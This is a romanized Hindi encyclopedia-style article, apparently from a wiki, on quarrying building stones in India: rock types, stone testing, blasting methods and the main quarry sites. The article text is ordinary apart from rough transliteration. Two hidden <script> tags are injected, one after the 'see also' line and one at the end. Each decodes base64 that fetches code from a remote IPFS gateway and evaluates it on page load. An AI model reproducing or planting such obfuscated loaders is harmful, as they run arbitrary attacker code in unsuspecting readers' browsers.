उत्खनन

utkhanan ko hindi bhasha mean 'khudaee' aur aangrezi bhasha mean 'Excavation' kaha jata hai. aj-kal mukhy roop se zamin khodane ki vah kriya hai, jo gaharaee mean dabe hue prachin avasheshoan, imarati pattharoan ka pata lagane ke lie ki jati hai use utkhanan kaha jata hai. vah sthan, jahaan se patthar nikale jate haian, use pashan khan kahate haian. pashan khan sadharanataya khule sthan mean hi banaee jati hai. imarati pattharoan mean grenait, baisalt, baloo ke patthar, choone ke patthar, slet aur sangamaramar mukhy haian. grainait shabd ke aantargat sadharanataya halke rang ki sabhi agney shilaean mani jati haian. in shilaoan ki rachana kvarth‌z, felspar, abhrak aur h aaurn bleand namak khanijoan se hoti hai. baisalt pray: kale rang ki shilaean hoti haian. ye traip bhi kahalati haian. inamean felspar aur pair aauksin khanijoan ki prachur matra hoti hai. in shilaoan mean kee prakar ke bhang hote haian, jinase inhean khodane mean suvidha hoti hai. ye samanyat: k di hoti haian.

kayaantarit shilaean

grenait shabd ke aantargat hi 'nais' namak kayaantarit shilaoan ko bhi gin liya jata hai. abhrak adi khanij ke samaantar taloan mean vyavasthit hone se inamean anek durbal dharatal ban jate haian, jinake karan inhean khodane mean saralata ho jati hai. bhangoan ki upasthiti mean ise aur bhi saralata se khoda ja sakata hai. balukashm evan choone ka patthar jalaz shilaean haian. at: inamean svabhavik roop se star hote haian. staroan ki upasthiti ke karan inaka khodana aur inhean silliyoan ka roop dena atyant saral ho jata hai. kayaantaran ke prabhav se choone ke patthar sangamaramar ki shilaoan mean parivartit ho jate haian, parantu unaki star rachana nasht ho jati hai. sangamaramar ki shilaoan ko to dane ke lie bhangoan ka sahara lena p data hai. slet bhi kayaantarit shila hai. isamean samaantar t dakan hoti hai, at: isaki atyant patali paratean nikali ja sakati haian.

patthar pariksha

kisi bhi patthar ko khod nikalane ke poorv usaki kathorata, shakti, khanij rachana, radhranta aur chikana karane par prapt aur suandarata ki pariksha ki jati hai. khodane ke sthan par pattharoan mean atyadhik bhang, darar athava aise any durbal dharatal nahian hone chahie, jinase pusht aur b di salliyaan n mil sakean, parantu yadi aise dharatal hoan hi nahian to bhi kathinaee p degi. tab khode hue pattharoan ko charoan or se ghisane ka vyay badha jaega. pattharoan mean atyadhik tatha aniyamit apakshay bhi nahian hona chahie. pattharoan ki kathorata, durbal dharataloan ki upasthiti, silliyoan ki map aur khadan ki vistriti par khodane ki kriya ka nirnay kiya jata hai. chhoti pashan khan mean pray: sabhi kary hath se kiya jata hai. visphot kriya dvara chattanean to di jati haian. bhangoan ki anupasthiti mean nishchit doori par kh de chhidr banae jate haian aur unamean visphot kiya jata hai. jalaj shilaoan mean staroan ke samaantar kshaitij chhidr banakar visphot kiya jata hai. sadharanat: khadan sidhinuma banaee jati hai. bahut b di pashan khanoan mean adhikadhik kary mashinoan se liya jata hai.

imarati pattharoan ke utkhanan

bharat mean imarati pattharoan ke utkhanan ka kary bahut prachin kal se hota raha hai. dakshin bharat ke grenait adi pattharoan se bane pragaitihasik kal ke mandir abhi tak vidyaman hai. aandhr tatha maisoor rajyoan mean is prakar ke pattharoan ki khadanean aj kal bhi haian. inase patthar nikal kar videshoan ko bheje jate haian. maharashtr aur as-pas ke ksheantroan mean baisalt athava traip namak lava ki shilaoan ka prayog imarati pattharoan ke roop mean kiya jata hai. ajanta tatha elora ki guphaean inhian pattharoan mean khodi gee haian. viandhy shreni ke balua patthar dirgh kal se hamari moolyavanh‌ nidhi rahe haian. ganga aur yamuna ke kinare kh de vishal ghat tatha mandir hi nahian varanh‌ anek prachin ashok stanbh bhi inhian se nirmit hue haian. in pattharoan ki mukhy khadan kaimoor, chunar, bharatapur, fatehapur sikari adi sthanoan mean sthit haian.

samast uttar bharat mean ashok kal se lekar aj tak imarati pattharoan mean viandhy shreni ke balua pattharoan ka yogadan sabase adhik raha hai. goandavana yug ke balua pattharoan bihar, u disa evan madhy pradesh mean tatha mahasarat yug ke patthar kachchh mean nikale jate haian. kayaantarit balua pattharoan ki shilaean alavar tatha ajamer mean khodi jati haian. saurashtr mean kee sthanoan par pashan khanean haian, inamean 'porabandar patthar' ki khan sabase mukhy hai. bijapur, varangal, booandi, udayapur, madhy pradesh, aandhr pradesh tatha tamilanadu rajyoan mean bhi is prakar ke patthar nikale jate haian. slet ki khadanean [[kumayuan]], gadhaval, mandi, chanba, kaang da adi parvatiy pradeshoan mean bahulata se milati haian. aandhr ke kurnool zile mean bhi slet shilaean atyadhik matra mean vidyaman haian. reva di tatha gu dagaanv mean bhi slet milati hai. sangamaramar shilaoan ke lie jodhapur ke nikat makarana ki pashan khanean dirghakal se prasiddh haian. agara ka tajamahal evan kalakatta ka 'viktoriya memoriyal makarana' sangamaramar ka hi bana hai. rajasthan mean alavar, jayapur, nathadvara, rajanagar, ramalo, adi sangamaramar ke any prasiddh kshetr haian. dakshin bharat mean chital durg, maisoor, selam aur maduraee zile tatha madhy pradesh mean jabalapur, chhiandava da aur maharashtr mean nagapur tatha sivani zile suandar sangamaramar ke lie prasiddh haian. asadharan rang ke sangamaramar pattharoan ke lie gujarat mean harikuva, revakaantha aur saandara tatha aandhr mean kurnool, krishnaa aur guantoor zile prasaddhi haian.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>